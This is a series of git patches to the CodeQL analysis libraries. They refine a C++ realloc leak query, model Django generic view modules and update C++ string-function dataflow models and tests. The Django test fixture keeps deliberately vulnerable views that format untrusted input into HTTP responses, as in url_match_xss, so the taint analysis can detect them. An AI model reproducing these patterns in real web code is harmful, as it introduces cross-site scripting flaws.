a/cpp/ql/src/experimental/Security/CWE/CWE-401/MemoryLeakOnFailedCallToRealloc.ql b/cpp/ql/src/experimental/Security/CWE/CWE-401/MemoryLeakOnFailedCallToRealloc.ql index 1578bff1407..2a36321bed6 100644 --- a/cpp/ql/src/experimental/Security/CWE/CWE-401/MemoryLeakOnFailedCallToRealloc.ql +++ b/cpp/ql/src/experimental/Security/CWE/CWE-401/MemoryLeakOnFailedCallToRealloc.ql @@ -13,6 +13,7 @@ import cpp import semmle.code.cpp.controlflow.Guards +import semmle.code.cpp.valuenumbering.HashCons /** * A function call that potentially does not return (such as `exit`). @@ -34,13 +35,11 @@ class ReallocCallLeak extends FunctionCall { Variable v; ReallocCallLeak() { - exists(AssignExpr ex, VariableAccess va1, VariableAccess va2 | - this.getTarget().hasName("realloc") and + exists(AssignExpr ex | + this.getTarget().hasGlobalOrStdName("realloc") and this = ex.getRValue() and - va1 = ex.getLValue() and - va2 = this.getArgument(0) and - va1 = v.getAnAccess() and - va2 = v.getAnAccess() + hashCons(ex.getLValue()) = hashCons(this.getArgument(0)) and + v.getAnAccess() = this.getArgument(0) ) } From 61d69f2cc850df49186f88c540d22cf4c0462b41 Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen <rasmuswl@github.com> Date: Wed, 27 Jan 2021 17:00:48 +0100 Subject: [PATCH 0899/1241] Python: Add test for full-path import of Django View class --- .../library-tests/frameworks/django-v2-v3/routing_test.py | 7 +++++++ 1 file changed, 7 insertions(+) diff --git a/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/routing_test.py b/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/routing_test.py index e744c5ba89d..bd3de5b74cc 100644 --- a/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/routing_test.py +++ b/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/routing_test.py @@ -2,6 +2,7 @@ from django.urls import path, re_path from django.http import HttpResponse, HttpResponseRedirect, JsonResponse, HttpResponseNotFound from django.views import View +import django.views.generic.base def url_match_xss(request, foo, bar, no_taint=None): # $requestHandler routedParameter=foo routedParameter=bar @@ -36,6 +37,12 @@ class ClassView(View, Foo): return HttpResponse('ClassView get: {}'.format(untrusted)) # $HttpResponse +# direct import with full path to `View` class (not supported) +class ClassView2(django.views.generic.base.View): + def get(self, request): # $ MISSING: requestHandler + pass + + def show_articles(request, page_number=1): # $requestHandler routedParameter=page_number page_number = int(page_number) return HttpResponse('articles page: {}'.format(page_number)) # $HttpResponse From 54725ccbb989efb8bcc251c078fa54943569ac89 Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen <rasmuswl@github.com> Date: Wed, 27 Jan 2021 17:41:39 +0100 Subject: [PATCH 0900/1241] Python: Support full-path import of Django View class requestHandler still MISSING :( --- .../src/semmle/python/frameworks/Django.qll | 274 +++++++++++++++++- .../frameworks/django-v2-v3/routing_test.py | 2 +- 2 files changed, 272 insertions(+), 4 deletions(-) diff --git a/python/ql/src/semmle/python/frameworks/Django.qll b/python/ql/src/semmle/python/frameworks/Django.qll index 6eeae4b742e..81c014445f3 100644 --- a/python/ql/src/semmle/python/frameworks/Django.qll +++ b/python/ql/src/semmle/python/frameworks/Django.qll @@ -1567,7 +1567,9 @@ private module Django { "View", "TemplateView", "RedirectView", "ArchiveIndexView", "YearArchiveView", "MonthArchiveView", "WeekArchiveView", "DayArchiveView", "TodayArchiveView", "DateDetailView", "DetailView", "FormView", "CreateView", "UpdateView", "DeleteView", - "ListView", "GenericViewError" + "ListView", "GenericViewError", + // modules + "base", "dates", "detail", "edit", "list" ] and ( t.start() and @@ -1603,6 +1605,254 @@ private module Django { result = generic_attr(DataFlow::TypeTracker::end(), attr_name) } + // ------------------------------------------------------------------------- + // django.views.generic.base + // ------------------------------------------------------------------------- + /** Gets a reference to the `django.views.generic.base` module. */ + DataFlow::Node base() { result = generic_attr("base") } + + /** Provides models for the `django.views.generic.base` module */ + module base { + /** + * Gets a reference to the attribute `attr_name` of the `django.views.generic.base` module. + * WARNING: Only holds for a few predefined attributes. + */ + private DataFlow::Node base_attr(DataFlow::TypeTracker t, string attr_name) { + attr_name in ["RedirectView", "TemplateView", "View"] and + ( + t.start() and + result = DataFlow::importNode("django.views.generic.base" + "." + attr_name) + or + t.startInAttr(attr_name) and + result = base() + ) + or + // Due to bad performance when using normal setup with `base_attr(t2, attr_name).track(t2, t)` + // we have inlined that code and forced a join + exists(DataFlow::TypeTracker t2 | + exists(DataFlow::StepSummary summary | + base_attr_first_join(t2, attr_name, result, summary) and + t = t2.append(summary) + ) + ) + } + + pragma[nomagic] + private predicate base_attr_first_join( + DataFlow::TypeTracker t2, string attr_name, DataFlow::Node res, + DataFlow::StepSummary summary + ) { + DataFlow::StepSummary::step(base_attr(t2, attr_name), res, summary) + } + + /** + * Gets a reference to the attribute `attr_name` of the `django.views.generic.base` module. + * WARNING: Only holds for a few predefined attributes. + */ + DataFlow::Node base_attr(string attr_name) { + result = base_attr(DataFlow::TypeTracker::end(), attr_name) + } + } + + // ------------------------------------------------------------------------- + // django.views.generic.dates + // ------------------------------------------------------------------------- + /** Gets a reference to the `django.views.generic.dates` module. */ + DataFlow::Node dates() { result = generic_attr("dates") } + + /** Provides models for the `django.views.generic.dates` module */ + module dates { + /** + * Gets a reference to the attribute `attr_name` of the `django.views.generic.dates` module. + * WARNING: Only holds for a few predefined attributes. + */ + private DataFlow::Node dates_attr(DataFlow::TypeTracker t, string attr_name) { + attr_name in [ + "ArchiveIndexView", "DateDetailView", "DayArchiveView", "MonthArchiveView", + "TodayArchiveView", "WeekArchiveView", "YearArchiveView" + ] and + ( + t.start() and + result = DataFlow::importNode("django.views.generic.dates" + "." + attr_name) + or + t.startInAttr(attr_name) and + result = dates() + ) + or + // Due to bad performance when using normal setup with `dates_attr(t2, attr_name).track(t2, t)` + // we have inlined that code and forced a join + exists(DataFlow::TypeTracker t2 | + exists(DataFlow::StepSummary summary | + dates_attr_first_join(t2, attr_name, result, summary) and + t = t2.append(summary) + ) + ) + } + + pragma[nomagic] + private predicate dates_attr_first_join( + DataFlow::TypeTracker t2, string attr_name, DataFlow::Node res, + DataFlow::StepSummary summary + ) { + DataFlow::StepSummary::step(dates_attr(t2, attr_name), res, summary) + } + + /** + * Gets a reference to the attribute `attr_name` of the `django.views.generic.dates` module. + * WARNING: Only holds for a few predefined attributes. + */ + DataFlow::Node dates_attr(string attr_name) { + result = dates_attr(DataFlow::TypeTracker::end(), attr_name) + } + } + + // ------------------------------------------------------------------------- + // django.views.generic.detail + // ------------------------------------------------------------------------- + /** Gets a reference to the `django.views.generic.detail` module. */ + DataFlow::Node detail() { result = generic_attr("detail") } + + /** Provides models for the `django.views.generic.detail` module */ + module detail { + /** + * Gets a reference to the attribute `attr_name` of the `django.views.generic.detail` module. + * WARNING: Only holds for a few predefined attributes. + */ + private DataFlow::Node detail_attr(DataFlow::TypeTracker t, string attr_name) { + attr_name in ["DetailView"] and + ( + t.start() and + result = DataFlow::importNode("django.views.generic.detail" + "." + attr_name) + or + t.startInAttr(attr_name) and + result = detail() + ) + or + // Due to bad performance when using normal setup with `detail_attr(t2, attr_name).track(t2, t)` + // we have inlined that code and forced a join + exists(DataFlow::TypeTracker t2 | + exists(DataFlow::StepSummary summary | + detail_attr_first_join(t2, attr_name, result, summary) and + t = t2.append(summary) + ) + ) + } + + pragma[nomagic] + private predicate detail_attr_first_join( + DataFlow::TypeTracker t2, string attr_name, DataFlow::Node res, + DataFlow::StepSummary summary + ) { + DataFlow::StepSummary::step(detail_attr(t2, attr_name), res, summary) + } + + /** + * Gets a reference to the attribute `attr_name` of the `django.views.generic.detail` module. + * WARNING: Only holds for a few predefined attributes. + */ + DataFlow::Node detail_attr(string attr_name) { + result = detail_attr(DataFlow::TypeTracker::end(), attr_name) + } + } + + // ------------------------------------------------------------------------- + // django.views.generic.edit + // ------------------------------------------------------------------------- + /** Gets a reference to the `django.views.generic.edit` module. */ + DataFlow::Node edit() { result = generic_attr("edit") } + + /** Provides models for the `django.views.generic.edit` module */ + module edit { + /** + * Gets a reference to the attribute `attr_name` of the `django.views.generic.edit` module. + * WARNING: Only holds for a few predefined attributes. + */ + private DataFlow::Node edit_attr(DataFlow::TypeTracker t, string attr_name) { + attr_name in ["CreateView", "DeleteView", "FormView", "UpdateView"] and + ( + t.start() and + result = DataFlow::importNode("django.views.generic.edit" + "." + attr_name) + or + t.startInAttr(attr_name) and + result = edit() + ) + or + // Due to bad performance when using normal setup with `edit_attr(t2, attr_name).track(t2, t)` + // we have inlined that code and forced a join + exists(DataFlow::TypeTracker t2 | + exists(DataFlow::StepSummary summary | + edit_attr_first_join(t2, attr_name, result, summary) and + t = t2.append(summary) + ) + ) + } + + pragma[nomagic] + private predicate edit_attr_first_join( + DataFlow::TypeTracker t2, string attr_name, DataFlow::Node res, + DataFlow::StepSummary summary + ) { + DataFlow::StepSummary::step(edit_attr(t2, attr_name), res, summary) + } + + /** + * Gets a reference to the attribute `attr_name` of the `django.views.generic.edit` module. + * WARNING: Only holds for a few predefined attributes. + */ + DataFlow::Node edit_attr(string attr_name) { + result = edit_attr(DataFlow::TypeTracker::end(), attr_name) + } + } + + // ------------------------------------------------------------------------- + // django.views.generic.list + // ------------------------------------------------------------------------- + /** Gets a reference to the `django.views.generic.list` module. */ + DataFlow::Node list() { result = generic_attr("list") } + + /** Provides models for the `django.views.generic.list` module */ + module list { + /** + * Gets a reference to the attribute `attr_name` of the `django.views.generic.list` module. + * WARNING: Only holds for a few predefined attributes. + */ + private DataFlow::Node list_attr(DataFlow::TypeTracker t, string attr_name) { + attr_name in ["ListView"] and + ( + t.start() and + result = DataFlow::importNode("django.views.generic.list" + "." + attr_name) + or + t.startInAttr(attr_name) and + result = list() + ) + or + // Due to bad performance when using normal setup with `list_attr(t2, attr_name).track(t2, t)` + // we have inlined that code and forced a join + exists(DataFlow::TypeTracker t2 | + exists(DataFlow::StepSummary summary | + list_attr_first_join(t2, attr_name, result, summary) and + t = t2.append(summary) + ) + ) + } + + pragma[nomagic] + private predicate list_attr_first_join( + DataFlow::TypeTracker t2, string attr_name, DataFlow::Node res, + DataFlow::StepSummary summary + ) { + DataFlow::StepSummary::step(list_attr(t2, attr_name), res, summary) + } + + /** + * Gets a reference to the attribute `attr_name` of the `django.views.generic.list` module. + * WARNING: Only holds for a few predefined attributes. + */ + DataFlow::Node list_attr(string attr_name) { + result = list_attr(DataFlow::TypeTracker::end(), attr_name) + } + } + /** * Provides models for the `django.views.generic.View` class and subclasses. * @@ -1624,9 +1874,27 @@ private module Django { "DeleteView", "ListView" ]) or - // `django.views.View` alias + // aliases t.start() and - result = views_attr("View") + ( + // django.views.View + result = views_attr("View") + or + // django.views.generic.base.* + result = base::base_attr(_) + or + // django.views.generic.dates.* + result = dates::dates_attr(_) + or + // django.views.generic.detail.* + result = detail::detail_attr(_) + or + // django.views.generic.edit.* + result = edit::edit_attr(_) + or + // django.views.generic.list.* + result = list::list_attr(_) + ) or // subclasses in project code result.asExpr().(ClassExpr).getABase() = subclassRef(t.continue()).asExpr() diff --git a/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/routing_test.py b/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/routing_test.py index bd3de5b74cc..c616e968f6d 100644 --- a/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/routing_test.py +++ b/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/routing_test.py @@ -37,7 +37,7 @@ class ClassView(View, Foo): return HttpResponse('ClassView get: {}'.format(untrusted)) # $HttpResponse -# direct import with full path to `View` class (not supported) +# direct import with full path to `View` class (previously not supported) class ClassView2(django.views.generic.base.View): def get(self, request): # $ MISSING: requestHandler pass From 173012578e445c050496e01f4748aff0eee02904 Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen <rasmuswl@github.com> Date: Thu, 28 Jan 2021 12:08:55 +0100 Subject: [PATCH 0901/1241] Python: Add missing type-tracking step for django.views Easy to overlook, and will onyl be caught by tests if they use `import parent.thing` and not `from parent import thing` --- python/ql/src/semmle/python/frameworks/Django.qll | 2 +- .../library-tests/frameworks/django-v2-v3/routing_test.py | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/python/ql/src/semmle/python/frameworks/Django.qll b/python/ql/src/semmle/python/frameworks/Django.qll index 81c014445f3..11fb42d8115 100644 --- a/python/ql/src/semmle/python/frameworks/Django.qll +++ b/python/ql/src/semmle/python/frameworks/Django.qll @@ -35,7 +35,7 @@ private module Django { * WARNING: Only holds for a few predefined attributes. */ private DataFlow::Node django_attr(DataFlow::TypeTracker t, string attr_name) { - attr_name in ["db", "urls", "http", "conf"] and + attr_name in ["db", "urls", "http", "conf", "views"] and ( t.start() and result = DataFlow::importNode("django" + "." + attr_name) diff --git a/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/routing_test.py b/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/routing_test.py index c616e968f6d..bb15b256b0c 100644 --- a/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/routing_test.py +++ b/python/ql/test/experimental/library-tests/frameworks/django-v2-v3/routing_test.py @@ -39,7 +39,7 @@ class ClassView(View, Foo): # direct import with full path to `View` class (previously not supported) class ClassView2(django.views.generic.base.View): - def get(self, request): # $ MISSING: requestHandler + def get(self, request): # $ requestHandler pass From 8880b38b1f65f601a9aadc8002dc9731bfe97763 Mon Sep 17 00:00:00 2001 From: ihsinme <61293369+ihsinme@users.noreply.github.com> Date: Thu, 28 Jan 2021 15:28:15 +0300 Subject: [PATCH 0902/1241] Rename cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.qlref to cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.qlref --- .../AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.qlref | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/{ => AccessOfMemoryLocationAfterEndOfBufferUsingStrlen}/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.qlref (100%) diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.qlref b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.qlref similarity index 100% rename from cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.qlref rename to cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.qlref From f65ec97ac210db005941e0292adee295296da837 Mon Sep 17 00:00:00 2001 From: ihsinme <61293369+ihsinme@users.noreply.github.com> Date: Thu, 28 Jan 2021 15:28:34 +0300 Subject: [PATCH 0903/1241] Rename cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/test.c to cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen/test.c --- .../test.c | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/{ => AccessOfMemoryLocationAfterEndOfBufferUsingStrlen}/test.c (100%) diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/test.c b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen/test.c similarity index 100% rename from cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/test.c rename to cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen/test.c From 8ed28157e118a44c29c2aade759f2a18a6e09727 Mon Sep 17 00:00:00 2001 From: ihsinme <61293369+ihsinme@users.noreply.github.com> Date: Thu, 28 Jan 2021 15:28:52 +0300 Subject: [PATCH 0904/1241] Rename cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.expected to cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.expected --- .../AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.expected | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/{ => AccessOfMemoryLocationAfterEndOfBufferUsingStrlen}/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.expected (100%) diff --git a/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.expected b/cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.expected similarity index 100% rename from cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.expected rename to cpp/ql/test/experimental/query-tests/Security/CWE/CWE-788/semmle/tests/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen/AccessOfMemoryLocationAfterEndOfBufferUsingStrlen.expected From 5a420f2baed0e4fab6567e590f6ce373e3e5fbc3 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen <mathiasvp@github.com> Date: Thu, 28 Jan 2021 13:33:08 +0100 Subject: [PATCH 0905/1241] C++: Use the new predicates for uniform treatment of parameters and qualifiers in model dataflow. --- .../cpp/ir/dataflow/internal/DataFlowUtil.qll | 15 +++------------ 1 file changed, 3 insertions(+), 12 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll index 7580bfc9012..aba8e3bceec 100644 --- a/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll +++ b/cpp/ql/src/semmle/code/cpp/ir/dataflow/internal/DataFlowUtil.qll @@ -887,21 +887,15 @@ private predicate modelFlow(Operand opFrom, Instruction iTo) { iTo = call or exists(int index, WriteSideEffectInstruction outNode | - modelOut.isParameterDeref(index) and + modelOut.isParameterDerefOrQualifierObject(index) and iTo = outNode and outNode = getSideEffectFor(call, index) ) - or - exists(WriteSideEffectInstruction outNode | - modelOut.isQualifierObject() and - iTo = outNode and - outNode = getSideEffectFor(call, -1) - ) ) and ( exists(int index | - modelIn.isParameter(index) and - opFrom = call.getPositionalArgumentOperand(index) + modelIn.isParameterOrQualifierAddress(index) and + opFrom = call.getArgumentOperand(index) ) or exists(int index, ReadSideEffectInstruction read | @@ -910,9 +904,6 @@ private predicate modelFlow(Operand opFrom, Instruction iTo) { opFrom = read.getSideEffectOperand() ) or - modelIn.isQualifierAddress() and - opFrom = call.getThisArgumentOperand() - or exists(ReadSideEffectInstruction read | modelIn.isQualifierObject() and read = getSideEffectFor(call, -1) and From f94a7fc2f0abdadd2735ec9c4f6e8b6696d94774 Mon Sep 17 00:00:00 2001 From: ihsinme <61293369+ihsinme@users.noreply.github.com> Date: Thu, 28 Jan 2021 15:47:38 +0300 Subject: [PATCH 0906/1241] Update MemoryLeakOnFailedCallToRealloc.ql --- .../Security/CWE/CWE-401/MemoryLeakOnFailedCallToRealloc.ql | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-401/MemoryLeakOnFailedCallToRealloc.ql b/cpp/ql/src/experimental/Security/CWE/CWE-401/MemoryLeakOnFailedCallToRealloc.ql index 2a36321bed6..cf0afc64013 100644 --- a/cpp/ql/src/experimental/Security/CWE/CWE-401/MemoryLeakOnFailedCallToRealloc.ql +++ b/cpp/ql/src/experimental/Security/CWE/CWE-401/MemoryLeakOnFailedCallToRealloc.ql @@ -36,7 +36,7 @@ class ReallocCallLeak extends FunctionCall { ReallocCallLeak() { exists(AssignExpr ex | - this.getTarget().hasGlobalOrStdName("realloc") and + this.getTarget().hasGlobalOrStdName("realloc") and this = ex.getRValue() and hashCons(ex.getLValue()) = hashCons(this.getArgument(0)) and v.getAnAccess() = this.getArgument(0) From 75aa1e8a3b347dda2c6146602f4e65c9d8eaddb8 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen <mathiasvp@github.com> Date: Thu, 28 Jan 2021 16:39:11 +0100 Subject: [PATCH 0907/1241] C++: Respond to review comments. --- .../semmle/code/cpp/models/implementations/Strset.qll | 10 ++++++++++ .../semmle/code/cpp/models/implementations/Strtok.qll | 4 ++-- 2 files changed, 12 insertions(+), 2 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/Strset.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/Strset.qll index 0be1ace14d7..f87c04d1fd5 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/Strset.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/Strset.qll @@ -22,6 +22,12 @@ private class StrsetFunction extends ArrayFunction, DataFlowFunction, AliasFunct ]) } + override predicate hasArrayWithNullTerminator(int bufParam) { bufParam = 0 } + + override predicate hasArrayInput(int bufParam) { bufParam = 0 } + + override predicate hasArrayOutput(int bufParam) { bufParam = 0 } + override predicate hasDataFlow(FunctionInput input, FunctionOutput output) { // flow from the character that overrides the string input.isParameter(1) and @@ -49,4 +55,8 @@ private class StrsetFunction extends ArrayFunction, DataFlowFunction, AliasFunct override predicate hasSpecificWriteSideEffect(ParameterIndex i, boolean buffer, boolean mustWrite) { i = 0 and buffer = true and mustWrite = true } + + override predicate hasSpecificReadSideEffect(ParameterIndex i, boolean buffer) { + i = 0 and buffer = true + } } diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/Strtok.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/Strtok.qll index 6ba9ce904b1..f109f211269 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/Strtok.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/Strtok.qll @@ -35,9 +35,9 @@ private class Strtok extends ArrayFunction, AliasFunction, TaintFunction, SideEf input.isParameter(0) and output.isReturnValue() } - override predicate hasOnlySpecificReadSideEffects() { any() } + override predicate hasOnlySpecificReadSideEffects() { none() } - override predicate hasOnlySpecificWriteSideEffects() { any() } + override predicate hasOnlySpecificWriteSideEffects() { none() } override predicate hasSpecificWriteSideEffect(ParameterIndex i, boolean buffer, boolean mustWrite) { i = 0 and buffer = true and mustWrite = false From 23eb4d2009aac295b70507f1084ef351e9195e83 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen <mathiasvp@github.com> Date: Thu, 28 Jan 2021 18:29:30 +0100 Subject: [PATCH 0908/1241] C++: Fix isParameterDeref typo. --- cpp/ql/src/semmle/code/cpp/models/implementations/Strset.qll | 2 +- .../library-tests/dataflow/taint-tests/localTaint.expected | 2 ++ cpp/ql/test/library-tests/dataflow/taint-tests/taint.cpp | 4 ++-- 3 files changed, 5 insertions(+), 3 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/Strset.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/Strset.qll index f87c04d1fd5..f4a80cbabac 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/Strset.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/Strset.qll @@ -34,7 +34,7 @@ private class StrsetFunction extends ArrayFunction, DataFlowFunction, AliasFunct ( output.isReturnValueDeref() or - output.isParameterDeref(1) + output.isParameterDeref(0) ) or // flow from the input string to the output string diff --git a/cpp/ql/test/library-tests/dataflow/taint-tests/localTaint.expected b/cpp/ql/test/library-tests/dataflow/taint-tests/localTaint.expected index d2c6592731c..99b25b69d24 100644 --- a/cpp/ql/test/library-tests/dataflow/taint-tests/localTaint.expected +++ b/cpp/ql/test/library-tests/dataflow/taint-tests/localTaint.expected @@ -5874,6 +5874,7 @@ | taint.cpp:504:10:504:12 | ref arg ptr | taint.cpp:505:7:505:9 | ptr | | | taint.cpp:504:10:504:12 | ref arg ptr | taint.cpp:506:8:506:10 | ptr | | | taint.cpp:504:15:504:20 | source | taint.cpp:504:2:504:8 | call to _strset | TAINT | +| taint.cpp:504:15:504:20 | source | taint.cpp:504:10:504:12 | ref arg ptr | | | taint.cpp:505:7:505:9 | ref arg ptr | taint.cpp:506:8:506:10 | ptr | | | taint.cpp:506:8:506:10 | ptr | taint.cpp:506:7:506:10 | * ... | TAINT | | taint.cpp:509:26:509:31 | source | taint.cpp:510:10:510:15 | source | | @@ -5881,6 +5882,7 @@ | taint.cpp:510:10:510:15 | ref arg source | taint.cpp:511:7:511:12 | source | | | taint.cpp:510:10:510:15 | source | taint.cpp:510:2:510:8 | call to _strset | | | taint.cpp:510:18:510:18 | 0 | taint.cpp:510:2:510:8 | call to _strset | TAINT | +| taint.cpp:510:18:510:18 | 0 | taint.cpp:510:10:510:15 | ref arg source | | | vector.cpp:16:43:16:49 | source1 | vector.cpp:17:26:17:32 | source1 | | | vector.cpp:16:43:16:49 | source1 | vector.cpp:31:38:31:44 | source1 | | | vector.cpp:17:21:17:33 | call to vector | vector.cpp:19:14:19:14 | v | | diff --git a/cpp/ql/test/library-tests/dataflow/taint-tests/taint.cpp b/cpp/ql/test/library-tests/dataflow/taint-tests/taint.cpp index 6350bf59cc7..1d8d6f987b0 100644 --- a/cpp/ql/test/library-tests/dataflow/taint-tests/taint.cpp +++ b/cpp/ql/test/library-tests/dataflow/taint-tests/taint.cpp @@ -502,8 +502,8 @@ char *_strset(char *str, int c); void test_strset_1(char* ptr, char source) { _strset(ptr, source); - sink(ptr); - sink(*ptr); // $ MISSING: ast,ir + sink(ptr); // $ SPURIOUS: ast,ir + sink(*ptr); // $ ast,ir } void test_strset_2(char* source) { From 339c4c6ce09d6232a65134114c39c7b22ca92891 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen <mathiasvp@github.com> Date: Thu, 28 Jan 2021 19:37:53 +0100 Subject: [PATCH 0909/1241] C++: Model more pure functions. --- .../code/cpp/models/implementations/Pure.qll | 66 +++++++++++++++---- 1 file changed, 52 insertions(+), 14 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/Pure.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/Pure.qll index 42021c48953..0dfa7fe6d76 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/Pure.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/Pure.qll @@ -8,9 +8,8 @@ private class PureStrFunction extends AliasFunction, ArrayFunction, TaintFunctio SideEffectFunction { PureStrFunction() { hasGlobalOrStdName([ - "atof", "atoi", "atol", "atoll", "strcasestr", "strchnul", "strchr", "strchrnul", "strstr", - "strpbrk", "strcmp", "strcspn", "strncmp", "strrchr", "strspn", "strtod", "strtof", - "strtol", "strtoll", "strtoq", "strtoul" + atoi(), "strcasestr", "strchnul", "strchr", "strchrnul", "strstr", "strpbrk", "strrchr", + "strspn", strtol(), strrev(), strcmp(), strlwr(), strupr() ]) } @@ -24,11 +23,16 @@ private class PureStrFunction extends AliasFunction, ArrayFunction, TaintFunctio override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { exists(ParameterIndex i | - input.isParameter(i) and - exists(getParameter(i)) - or - input.isParameterDeref(i) and - getParameter(i).getUnspecifiedType() instanceof PointerType + ( + input.isParameter(i) and + exists(getParameter(i)) + or + input.isParameterDeref(i) and + getParameter(i).getUnspecifiedType() instanceof PointerType + ) and + // Functions that end with _l also take a locale argument (always as the last argument), + // and we don't want taint from those arguments. + (not this.getName().matches("%\\_l") or exists(getParameter(i + 1))) ) and ( output.isReturnValueDeref() and @@ -60,6 +64,31 @@ private class PureStrFunction extends AliasFunction, ArrayFunction, TaintFunctio } } +private string atoi() { result = ["atof", "atoi", "atol", "atoll"] } + +private string strtol() { result = ["strtod", "strtof", "strtol", "strtoll", "strtoq", "strtoul"] } + +private string strlwr() { + result = ["_strlwr", "_wcslwr", "_mbslwr", "_strlwr_l", "_wcslwr_l", "_mbslwr_l"] +} + +private string strupr() { + result = ["_strupr", "_wcsupr", "_mbsupr", "_strupr_l", "_wcsupr_l", "_mbsupr_l"] +} + +private string strrev() { result = ["_strrev", "_wcsrev", "_mbsrev", "_mbsrev_l"] } + +private string strcmp() { + // NOTE: `strcoll` doesn't satisfy _all_ the definitions of purity: its behavior depends on + // `LC_COLLATE` (which is set by `setlocale`). Not sure this behavior worth including in the model, so + // for now we interpret the function as being pure. + result = + [ + "strcmp", "strcspn", "strncmp", "strcoll", "strverscmp", "_mbsnbcmp", "_mbsnbcmp_l", + "_stricmp" + ] +} + /** String standard `strlen` function, and related functions for computing string lengths. */ private class StrLenFunction extends AliasFunction, ArrayFunction, SideEffectFunction { StrLenFunction() { @@ -114,7 +143,12 @@ private class PureFunction extends TaintFunction, SideEffectFunction { /** Pure raw-memory functions. */ private class PureMemFunction extends AliasFunction, ArrayFunction, TaintFunction, SideEffectFunction { - PureMemFunction() { hasGlobalOrStdName(["memchr", "memrchr", "rawmemchr", "memcmp", "memmem"]) } + 